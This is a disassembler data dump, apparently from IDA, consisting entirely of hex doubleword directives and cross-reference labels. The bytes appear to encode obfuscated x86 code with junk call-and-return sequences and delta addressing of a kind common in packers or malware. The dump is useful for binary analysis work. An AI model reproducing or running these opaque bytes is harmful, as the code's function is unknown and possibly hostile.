		dd 0C1D1C352h, 29C9B553h, 0E71F7DB5h, 0E28D8D05h, 0F05E75Dh
		dd 68Fh, 3D9D2B00h, 8905E703h, 53006A01h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8BD98B81h
		dd 6AC233D7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 60C5C356h, 0BB2858F4h,	0F95467DAh
		dd 0F044189h, 680h, 0A5958B00h,	0F05E70Dh, 0A1958931h
		dd 8D05E722h, 0E75DEE8Dh, 0BBE28105h, 600642C6h, 0BF7BF0Fh
		dd 0E7067195h, 1896105h, 316D9589h, 0C23305E7h,	2E918589h
		dd 418905E7h, 48C0F04h,	66000000h, 831DA9BBh, 0E70E11BDh
		dd 840F0005h, 1Ah, 301B589h, 95FF05E7h,	5E70E99h, 9E9h
		dd 0CE739800h, 5556AD4h, 0BD83A2C7h, 5E7093Dh, 60850F01h
		dd 0BA000000h, 6C6C630Dh, 56E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2AD2FB09h
		dd 1FEE5CCh, 0E72D6D9Dh, 3B58B05h, 0C705E75Fh, 6, 0FAB58B00h
		dd 0C705E75Ch, 6, 9503CF00h, 5E71765h, 0AE9h, 3D0BB500h
		dd 0D4ECB82h, 83ABCBF5h, 0E72749BDh, 840F0005h,	10Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 29C35141h, 80EDC6C9h
		dd 0CB8133DEh, 3CA61188h, 639BD83h, 0F0105E7h, 0B285h
		dd 8D8B6000h, 5E73199h,	25958B61h, 8B05E707h, 0E74D938Dh
		dd 959D8B05h, 0B605E712h, 1C666h, 257D9D01h, 816605E7h
		dd 6091B3EBh, 6879E780h, 5A4DC017h, 7E8h, 3C6A2500h, 26D72FBDh
		dd 0AE860h, 0C1E30000h,	6F2B636Dh, 0EAB4530Ah, 815A6159h
		dd 0C0972434h, 95295A4Dh, 5E727D5h, 0B70FFF6Ah,	13820FD9h
		dd 0E9000000h, 0Eh, 0ECBCEA3Ch,	848C14ABh, 803B15C3h, 95FF6806h
		dd 5E72185h, 0FE9h, 21318400h, 0F4825CADh, 33489B32h, 0E930EB01h
		dd 8D95FF61h, 2905E70Bh, 0E7083D9Dh, 938D8B05h,	6605E74Dh
		dd 0FE5F35BAh, 83DD8A01h, 0E71B15BDh, 850F0105h, 1Ah, 148F0Fh
		dd 0FE90000h, 0B2000000h, 73206B6Fh, 142ACA56h,	5ABC386Dh
		dd 0C08BBA83h, 2341958Bh, 0BD8305E7h, 5E70D79h,	83097500h
		dd 0E71C15BDh, 1A740005h, 0C08B5350h, 13D5858Bh, 858905E7h
		dd 5E713D5h, 0AA349D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E71C15h
		dd 50187400h, 0D5858B53h, 8905E713h, 0E713D585h, 239D8D05h
		dd 0FF05E9A7h, 66585BD3h, 0F707EBBh, 0D88h, 0B5096000h
		dd 5E701DDh, 5F3542BEh,	0C08B612Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 71C35040h, 53DBD29h, 0BD8305E7h
		dd 5E72749h, 18850F00h,	8B000000h, 0E72C2D9Dh, 35BD8305h
		dd 5E71Ch, 5840Fh, 81660000h, 83DF67E2h, 0E72749BDh, 840F0005h
		dd 3Ah,	2EAD9D8Bh, 9D8B05E7h, 5E725BDh,	0C15BD83h, 0F0005E7h
		dd 2184h, 7E800h, 0E1890000h, 0A78D0948h, 8E8E9h, 0F5FD0000h
		dd 80F5A03Bh, 8509BF70h, 5E72089h, 0BD835B5Ah, 5E72749h
		dd 18840F00h, 50000000h, 5BDE8B66h, 0C15BD83h, 0F0005E7h
		dd 684h, 0A1B50100h, 8305E72Ch,	0E72749BDh, 840F0005h
		dd 13h,	1CCD958Bh, 0BD8305E7h, 5E70519h, 840F00h, 83000000h
		dd 0E72749BDh, 840F0005h, 40h, 0E850006Ah, 3
dword_544450	dd 58C35820h, 4244489h,	4244481h, 16h, 83C35040h, 85896E2Ch
					; DATA XREF: ___:off_43CCF4o
		dd 5E70F31h, 575BD83h, 0F0005E7h, 0F84h, 0DFBF0F00h, 59995FFh
		dd 0DA8105E7h, 232CDECAh, 958BC08Bh, 5E72CFDh, 0D79BD83h
		dd 750005E7h, 15BD8309h, 5E71Ch, 53501A74h, 858BC08Bh
		dd 5E70F2Dh, 0F2D8589h,	9D8D05E7h, 5E9AA9Bh, 585BD3FFh
		dd 1C15BD83h, 740005E7h, 8B535018h, 0E70F2D85h,	2D858905h
		dd 8D05E70Fh, 0E9A73C9Dh, 5BD3FF05h, 0A9BD8958h, 0F505E72Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4CC35545h
		dd 8FA9DC78h, 56C08BECh, 0D873E281h, 835B6ED5h,	0E72749BDh
		dd 840F0005h, 40Fh, 2DDB8166h, 1DBD83AFh, 205E726h, 1A840Fh
		dd 0D98A0000h, 93DBD83h, 0F0105E7h, 0B85h, 6E900h, 0EEEC0000h
		dd 7B2BAFAAh, 649BD83h,	0F0005E7h, 4784h, 0D1B52900h, 6005E703h
		dd 8B00C780h, 0E74D938Dh, 0FED88B05h, 85958B01h, 6805E72Ah
		dd 41B9EFA7h, 0F7D5BA66h, 27243481h, 6641B9EFh,	0F037F281h
		dd 9D89FF6Ah, 5E72A4Dh,	218595FFh, 958B05E7h, 5E701F9h
		dd 0DABF0F61h, 9D8B6060h, 5E72B49h, 229D8D89h, 8B6105E7h
		dd 0E74D938Dh, 95895305h, 5E71571h, 6601FE5Bh, 683335BBh
		dd 0CDE701ECh, 890Fh, 4810000h,	18FE9424h, 6ACAB732h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7F1D2A2Dh, 7358D01h,	95FF05E7h, 5E72185h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CEC35242h, 0D07C3611h
		dd 0E950F71Eh, 14h, 4F943AA8h, 8A871C08h, 4A92E00Ah, 0C350A0B0h
		dd 74D74DC1h, 1D8D895Ah, 6105E732h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 94C35242h, 860D9980h, 0FB1BAC1h
		dd 9589DFB7h, 5E70CC9h,	13E5BD8Dh, 0B58905E7h, 5E71331h
		dd 8B1C4F8Bh, 0E715299Dh, 9E905h, 0D7D10000h, 2A16AE8h
		dd 6A210B79h, 0DDB58901h, 5005E715h, 5E960h, 0FBD30000h
		dd 0BE4171ACh, 3183BB96h, 240C8961h, 0DE9h, 918B5200h
		dd 9E6B7DBBh, 9E302A4Eh, 858DB765h, 5EA386Ch, 0DE8h, 0E8F51800h
		dd 0CDCB5798h, 99905E7Ah, 0B589983Dh, 5E7258Dh,	89D0FF5Ah
		dd 0E71AFDB5h, 204F8B05h, 4B2C68BAh, 0BA036A21h, 5AC763C5h
		dd 240C8950h, 0CE9h, 0EAF65100h, 7DE742FEh, 0A050E7FFh
		dd 6C858D30h, 8905EA38h, 0E731C58Dh, 8DD0FF05h,	0E713E5BDh
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0E45AFFFAh, 2739958Bh, 4F8B05E7h, 57006A1Ch
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0B2BB987Ch, 89605759h, 0E70C55B5h, 6A5A6105h, 11E801h
		dd 0F4390000h, 0ED3B2063h, 1F745EF6h, 14236FBAh, 0F807F6E4h
		dd 0DFBF0F5Ah, 0DA8B6650h, 6A240C89h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CB83C351h
		dd 6ABCE889h, 658D29h, 858D05E7h, 5EA386Ch, 177DBD89h
		dd 0D0FF05E7h, 859D8Bh,	4F8B05E7h, 65958B20h, 6A05E704h
		dd 50006A03h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0B6C89F3Bh, 502F8E64h, 11E8h, 2A2E9200h
		dd 5F2F7590h, 69586BA7h, 0C642971Ah, 895A8950h,	6A240Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 8558C7C3h, 8B9C601Dh, 0E72E7595h, 6C858D05h,	2305EA38h
		dd 0E72A4D9Dh, 6AD0FF05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 4D1CC350h, 0AC67E284h
		dd 0C18D893Dh, 8905E731h, 0E7014D8Dh, 0DFBF0F05h, 4D938D8Bh
		dd 958905E7h, 5E720E1h,	635B589h, 1FE05E7h, 6840Fh, 0C3810000h
		dd 4F0F8005h, 4D93858Bh, 8D8905E7h, 5E7204Dh, 8E900FEh
		dd 5F000000h, 0FBBCE79Bh, 6AD788C7h, 56006A01h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 39DDBAA5h
		dd 68D88BDBh, 81611481h, 0DD62C8BAh, 2404817Eh,	7E9E8B7Eh
		dd 8DD6B70Fh, 0EA387685h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 1246B5AEh
		dd 0B8E2E731h, 818D29FDh, 0FF05E70Dh, 0A4D281D0h, 83758A78h
		dd 0E71C35BDh, 840F0005h, 0C9h,	11E9h, 67C2B000h, 0CDB2B0CCh
		dd 0E2E3207Bh, 0B897909Ch, 6E96C58h, 0F4000000h, 236D813Bh
		dd 0F1BD8312h, 105E707h, 9B850Fh, 0BB660000h, 8D8D9DEDh
		dd 5EA3880h, 3399D8Bh, 0DC8A05E7h, 6A036Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 530A6FC3h
		dd 8184EAB4h, 0F287B0D3h, 0BA016A08h, 4CA5C539h, 6AD1FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 5B9496C3h, 16A64BDh,	0C759D0Bh, 10E805E7h, 8B000000h
		dd 41B53B88h, 0DC6D70BEh, 0EC69220Ch, 8B8A7766h, 0E704D595h
		dd 16A5B05h, 0DEDB589h,	0D1FF05E7h, 5E0FE8F9h, 0B70FFA74h
		dd 6A206AD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 144BC357h, 0C89863ECh,	0FF6A89B9h
		dd 0FFBAF780h, 0E7218595h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B8D767h, 60000000h
		dd 1C118523h, 61F805E7h, 840FC00Bh, 21h, 83C5E780h, 0E702C5BDh
		dd 840F0005h, 11h, 7499D0Bh, 95FF05E7h,	5E7318Dh, 0C5D38166h
		dd 51858B40h, 6A05E706h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0E009C350h,	9281069Bh
		dd 0DC943161h, 3B0AF381h, 0C649D2h, 0DEBF0F00h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 9A5412Ah, 81069BE0h,	9D896192h, 5E72635h, 8BD98C66h
		dd 0E705B195h, 0ED958905h, 0F605E721h, 840F04C1h, 64h
		dd 2ED19D23h, 59E905E7h, 0F000000h, 68Dh, 299D8B00h, 8B05E722h
		dd 0E72A59B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 91BEF017h, 7941BA66h
		dd 68F0Fh, 9D290000h, 5E722C9h,	1180C681h, 9D0B0000h, 5E72A65h
		dd 6C7h, 9D890000h, 5E7031Dh, 51006A5Eh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9D72D1C9h
		dd 515ED88h, 0DE987h, 788C0000h, 0F74C069Ch, 0F133A71h
		dd 83555E79h, 840F00F8h, 0C9Eh,	0EE9h, 0AD4D6700h, 55DEDB30h
		dd 2220B451h, 83F822B5h, 850F01F8h, 190h, 15298589h, 0B805E7h
		dd 0E9000000h, 12h, 18ADE515h, 0F9A44EB0h, 9396F586h, 65B10139h
		dd 0C00B2690h, 10D840Fh, 958B0000h, 5E700B5h, 0CE8h, 0FEA14E00h
		dd 4C68524Fh, 4E647691h, 0F8835B50h, 9840F01h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 62D1C355h, 0CE98FA3h, 53000000h, 1C870B3h
		dd 0FE5374B2h, 83D3AB09h, 840F03F8h, 5Ch, 0CFA5BA66h, 0BE9h
		dd 4C47CD00h
		dd 0CCE1B46h, 0B99BC994h, 9D8BC02Bh, 5E723A9h, 7974BD8Dh
		dd 9D89005Bh, 5E70441h,	6AE7FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 65667AC3h, 0F463688Fh
		dd 8E9561Dh, 0F5000000h, 716EB311h, 5A4A5173h, 1B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0FA8F07E5h, 58763D57h, 5559D8Bh, 17BB05E7h, 8D2EDB1Dh
		dd 5B7974BDh, 0FFD88B00h, 0EE8E7h, 0AC8A0000h, 0EF6AB616h
		dd 0BE804340h, 0CB2C0EA1h, 0D5BB6657h, 8D5B5BF7h, 0E7441FBDh
		dd 58D8905h, 0E905E727h, 339h, 2D0D9D03h, 858905E7h, 5E7040Dh
		dd 4DEE85C7h, 505E7h, 5B80000h,	0BA000000h, 30198058h
		dd 0AA5E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 610537C6h, 702EBA66h, 0F02F883h
		dd 10885h, 0EE900h, 0FB450000h,	0ABFDF12Eh, 0E6189387h
		dd 28342259h, 0B8h, 0BD18B00h, 0B2840FC0h, 57000000h, 0A58D3360h
		dd 2905E70Dh, 0E721A59Dh, 835B6105h, 840F01F8h,	0FFFFFF80h
		dd 1959D29h, 0F88305E7h, 0FD840F03h, 60FFFFFEh,	5A5F5657h
		dd 2B61CB8Ah, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 8F9C8FD9h, 7A0DC539h, 9D338F9Eh
		dd 5E71C75h, 7974BD8Dh,	6A005Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 8E6139C3h, 5958B22h
		dd 0FF05E731h, 52006AE7h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 6646B815h, 8BEC80BAh
		dd 0E71C1195h, 17BD8D05h, 6A05E746h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 84DDC352h
		dd 0EAE9C1F2h, 8B000001h, 0E7127195h, 76BA6605h, 3F88314h
		dd 26850Fh, 81660000h, 8D9EA0C2h, 0E747ABBDh, 0BE905h
		dd 0F1CC0000h, 6C33A553h, 60E45EA6h, 1B7E9DDh, 95890000h
		dd 5E73199h, 0F05F883h,	5C85h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E48766BCh
		dd 37CB913Bh, 318589F0h, 0F05E709h, 28Ch, 0E9D38B00h, 902h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 38C35747h
		dd 0E0DA5A7Dh, 7BE28166h, 6F8832Ah, 76850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 89E25EC3h, 0CDD92991h, 8D57CE80h, 0E749A3BDh, 4D9D8B05h
		dd 0E905E72Ah, 10Dh, 0E852006Ah, 3, 5AC35A20h
		db 89h,	54h
word_544F42	dw 424h			; DATA XREF: ___:off_435718o
		dd 4244481h, 1Dh, 88C35242h, 8C00AA69h,	4AF79F50h, 0CE960E3h
		dd 6B000000h, 0F93CCB8h, 0C3BC8FF9h, 0B542980Dh, 9D8B6196h
		dd 5E70DB9h, 0F07F883h,	6D85h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0BAB3BD78h
		dd 81666B5Bh, 8948D6D2h, 0E7055DB5h, 0ADBD8D05h, 6A05E717h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0BED9C355h, 37314258h, 0E9E906h, 0FE90000h
		dd 0AA000000h, 36D5CA83h, 8A513318h, 0C936E454h, 0F883C305h
		dd 4E850F0Ah, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0EAA4C350h,	7EB556D4h
		dd 8B60CE25h, 0E701459Dh, 81665705h, 582898D8h,	9BBD8D61h
		dd 6005E74Bh, 0E88153FCh, 25A8C1DCh, 8B666158h,	3E9D0h
		dd 8B660000h, 0DA8A57DAh, 97D35B9h, 49858938h, 8305E722h
		dd 840F003Fh, 41h, 855952Bh, 0F3005E7h,	120B17BAh, 31C9D101h
		dd 0E70EA1BDh, 26B34705h, 0FFFFDAE9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 6FA28D72h, 0D9EB8166h, 6A5F98h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 76C428C3h, 830F11h, 89000000h
		dd 0E74D97BDh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F228890Bh, 0AECB8166h
		dd 5E936h, 80070000h, 8D4BC352h, 0E714898Dh, 0B5FFF805h
		dd 5E727D1h, 68F0Fh, 9D2B0000h,	5E72D5Dh, 0A41F858Dh, 8D5005E9h
		dd 0E7544BBDh, 0A58D8D05h, 0B805E76Eh, 54831ABCh, 730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 5E76E18h, 6EBD8D8Dh, 0CF2B05E7h
		dd 0C933A4F3h, 0B8h, 74C00B00h,	0C5BD8346h, 5E702h, 95FF0674h
		dd 5E7318Dh, 4D97B58Bh,	858D05E7h, 5E9A41Fh, 858DD0FFh
		dd 5E741F4h, 85C7D0FFh,	5E71B39h, 1, 3F1A58Bh, 0B58B05E7h
		dd 5E72245h, 2C65AD8Bh,	0C03305E7h, 66000CC2h, 3DD8EA81h
		dd 8E9h, 9C19F300h, 70BDCFD1h, 0BD83F852h, 5E70EA9h, 41840F00h
		dd 29000000h, 0E700D99Dh, 0BE905h, 5D0D0000h, 4B13ED1h
		dd 0E2184FA4h, 1995FF33h, 6A05E706h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A724C357h
		dd 85093656h, 5E72A5Dh,	0D4DBD83h, 0F0005E7h, 1DF85h, 8322B700h
		dd 0E707F1BDh, 850F0105h, 1D0h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0EC35040h, 9D31A523h, 5E71741h
		dd 779958Bh, 0BD8305E7h, 5E704E9h, 99840F00h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 3903C350h, 0C250B991h, 26CB8147h,	836310D8h
		dd 0E74DEABDh, 840F0005h, 164h,	80D38166h, 1F858D9Eh, 0F05E9A4h
		dd 682h, 0CD9D2300h, 8B05E716h,	0E74D97B5h, 0D0FFF905h
		dd 0E4D8D01h, 85C605E7h, 5E707F9h, 9DB8154h, 680CE9E6h
		dd 0BDA703F6h, 48115B2h, 0A7BAFE24h, 6800F41h, 89000000h
		dd 0E720D18Dh, 25B5FF05h, 6605E70Ch, 858DDE8Bh,	5E73917h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A0C35343h
		dd 0EB6062BCh, 0D19F1AE1h, 0BE9h, 0C0E39E00h, 0B27F3979h
		dd 84289BD2h, 0FF83EE80h, 3D958BD0h, 8905E70Fh,	0E72D4195h
		dd 6A006A05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 42A6C356h, 9D8B56FFh, 5E72F85h
		dd 6AFF6A5Bh, 3E85700h,	20000000h, 895FC35Fh
dword_545350	dd 8104247Ch, 1A042444h, 47000000h, 9E6DC357h, 7C13D98h
					; DATA XREF: ___:off_43CCB4o
		dd 19B589EBh, 8B05E70Eh, 0E9D0FFD9h, 5,	9887CAE5h, 0A9B5FFDCh
		dd 6A05E706h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D24EC356h, 0F860199Fh, 0DBBF0F42h
		dd 19810Fh, 14E90000h, 0FA000000h, 0AD871517h, 0CE3528B2h
		dd 912D1E06h, 0C8AD15C5h, 0FFAA49B4h, 0E727D195h, 8E905h
		dd 905A0000h, 75E63C45h, 9501F325h, 5E70DB9h, 4D97B58Bh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F7570C3h, 66C325CBh, 0FE4ACA81h,	0B58B95B3h
		dd 5E70651h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	3DC35242h, 98C38194h, 0B039205h, 64840FF6h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0AD91C353h, 2ABD9589h, 6C605E7h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 16280DD3h, 0BB38723Ah, 2BCB81CAh, 60187367h,	6820Fh
		dd 85030000h, 5E712E9h,	5039D081h, 89616BF6h, 0E74D9F85h
		dd 31850105h, 8305E704h, 840F00F8h, 38Eh, 15A19D33h, 0B805E7h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 330BC352h, 0F63B33FAh,	8B66E2ACh
		dd 83DDB6D0h, 840F00F8h, 137h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0EDC35545h,	0D5CFF9CFh, 9B78E1D9h
		dd 0F02F883h, 0C385h, 499D8B00h, 8D05E703h, 0E7441A85h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0E7669CD8h, 95E409C1h, 2DD3BF0Fh, 929h
		dd 13E8h, 9A2E8200h, 44357E45h,	0A24008F3h, 7DB86224h
		dd 0F86F09DAh, 2D958B50h, 5B05E72Ah, 0BB66905Bh, 60500E6Ch
		dd 0AE9h, 2A74EB00h, 1378291Eh,	50719D45h, 0FE852h, 1D280000h
		dd 0F8A325E5h, 30F4982Fh, 504C078h, 310F5AD0h, 90310B8h
		dd 61585A3Eh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 38605904h, 8A7D6839h, 5295B2E8h
		dd 0F68FD1BBh, 66C35B00h, 0C1DDDA81h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 6C33A553h, 60E45EA6h, 816657DDh, 0E9EE45E3h,	22Eh, 0EE9h
		dd 0B5AB1B00h, 275C8031h, 38ABA0D1h, 0B80946DAh, 1, 0BD8DF98Ah
		dd 5E7441Fh, 0EE8h, 65291500h, 50DA2A98h, 316CB4FDh, 0F818739h
		dd 0A86h, 5E900h, 71B40000h, 5A5305D9h,	0D3E9h,	31B58900h
		dd 8305E703h, 850F02F8h, 26h, 31D68B66h, 0E7001D9Dh, 17BD8D05h
		dd 0F05E746h, 68Ah, 0C1958B00h,	0E905E72Dh, 0A4h, 2BC9BD89h
		dd 0F88305E7h, 69850F03h, 0E9000000h, 10h, 6DE361D4h, 9240181Dh
		dd 516132EAh, 99616A28h, 47ABBD8Dh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5795B4C3h
		dd 0C74E25FEh, 51E9D18Ah, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4F96C353h
		dd 0B52917FAh, 5E70F21h, 0F05F883h, 2385h, 0E9D88B00h
		dd 0BEh, 10810Fh, 0BE90000h, 14000000h,	0E3717E69h, 4196037Dh
		dd 9D896219h, 5E716EDh,	0C3816657h, 35B9D57Ah, 6A38097Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 23E4C352h, 0B957863Bh, 0E5D9D8Bh,	0B70F05E7h
		dd 3F83D0h, 64840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0E39E06C3h, 7F3979C0h
		dd 8B66D2B2h, 8B0F30DAh, 0E704F595h, 6AC9D105h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7A11C352h, 318D898Ah, 4705E703h, 0E96FCA80h,	0FFFFFF99h
		dd 1B658531h, 0F88305E7h, 67850F05h, 60000000h,	61FA8AF9h
		dd 0BAD98C66h, 4F70DADh, 0F04C1F6h, 4285h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0B84Bh, 6E80000h, 74000000h,	674B728h, 858951D4h, 5E732E9h
		dd 17E95A5Bh, 8A000000h, 0D5958BFEh, 8B05E705h,	0E70C7D85h
		dd 0E0FFFC05h, 1BA99D8Bh, 0BD8305E7h, 5E727D1h,	0E1850F00h
		dd 8B000000h, 0E72BC995h, 0DDB75005h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 7960C357h, 9E02A499h, 0FD08B47h, 0B70FDFB7h,	0F985C6D2h
		dd 4505E707h, 0CE8h, 42BDA00h, 0F5B82A86h, 72D8F588h, 819D8B1Eh
		dd 5B05E703h, 0FF890D68h, 81B2B798h, 0E0642434h, 6A168Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 358B5C3h, 2C7E8AC3h,	0E19D8B50h, 5B05E70Ch, 217D9D89h
		dd 0B5FF05E7h, 5E70C25h, 8DF4F280h, 0E7391785h,	0A5958B05h
		dd 0FF05E716h, 0D1B589D0h, 8905E730h, 0E727D185h, 0B5896005h
		dd 5E723A1h, 31B58953h,	5A05E72Dh, 8D895861h, 5E72EB9h
		dd 6830F60h, 1000000h, 0E7022995h, 21BD0B05h, 6105E722h
		dd 4DEEBD83h, 0F0005E7h, 6384h,	0F60FC00h, 858BF7BFh, 5E70455h
		dd 0A9B5FF61h, 6A05E706h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 3AEDC356h, 662D25E7h
		dd 40FB2756h, 27D195FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8F8623C3h, 9257D983h
		dd 0F52D4DE7h, 0F00F883h, 9D85h, 4D958B00h, 8305E717h
		dd 0E70B79BDh, 840F0005h, 44h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 54C35747h, 81AD442Fh, 0FFCCF1EFh
		dd 0E70B79B5h, 81666005h, 8B61A1D0h, 0E7319995h, 1B86105h
		dd 66000000h, 78E9DF8Bh, 0FC000001h, 6A9B5FFh, 57B605E7h
		dd 6A9B5FFh, 870F05E7h,	2, 10E9D98Ah, 0BF000000h, 39E38D8Dh
		dd 27665C31h, 6F2A470Bh, 0FF508B53h, 0E727D1B5h, 6D850105h
		dd 2305E720h, 0E702E595h, 135E905h, 0D7B20000h,	2B5FD38Ah
		dd 0E704699Dh, 0A9BD8305h, 5E70Ah, 8E850Fh, 8B660000h
		dd 0F985C6DEh, 4D05E707h, 39958Bh, 56805E7h, 0E840B11Eh
		dd 7, 87C1BD66h, 0B7AB43D9h, 4815ABFh, 8458A324h, 55006A63h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0D44D6C90h, 2860Fh, 1CB60000h, 6E9h,	6F5EB300h, 0BAC3A787h
		dd 613C5F0Dh, 13C5B5FFh, 958B05E7h, 5E72335h, 4D59D89h
		dd 858D05E7h, 5E73917h,	958BD0FFh, 5E72839h, 0AA98589h
		dd 8D8905E7h, 5E726ADh,	0B8h, 199D8B00h, 8905E709h, 0E74D97BDh
		dd 0DF8B6605h, 840FC00Bh, 0Ch, 31919D8Bh, 68E905E7h, 0F5000000h
		dd 27D1B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 2ED978C3h, 3E994327h, 8D2D9DC9h
		dd 0E9A41F85h, 90D48A05h, 90D38B50h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 2C35545h, 20FED821h
		dd 0C36B708Ch, 8363BBF2h, 3EBA0C0Dh, 502BD07Eh,	4BBD8D56h
		dd 8D05E754h, 0E7790B8Dh, 23BCB805h, 0CF2B7483h, 0C8D00730h
		dd 0F8754947h, 0BD83585Eh, 5E70B79h, 8B067400h,	0E71B558Dh
		dd 0B8C93305h, 0
		dd 840FC00Bh, 99h, 2C5BD83h, 740005E7h,	8D95FF06h, 0B805E731h
		dd 0
		dd 975C00Bh, 4D9FBD83h,	740105E7h, 9FBD8309h, 205E74Dh
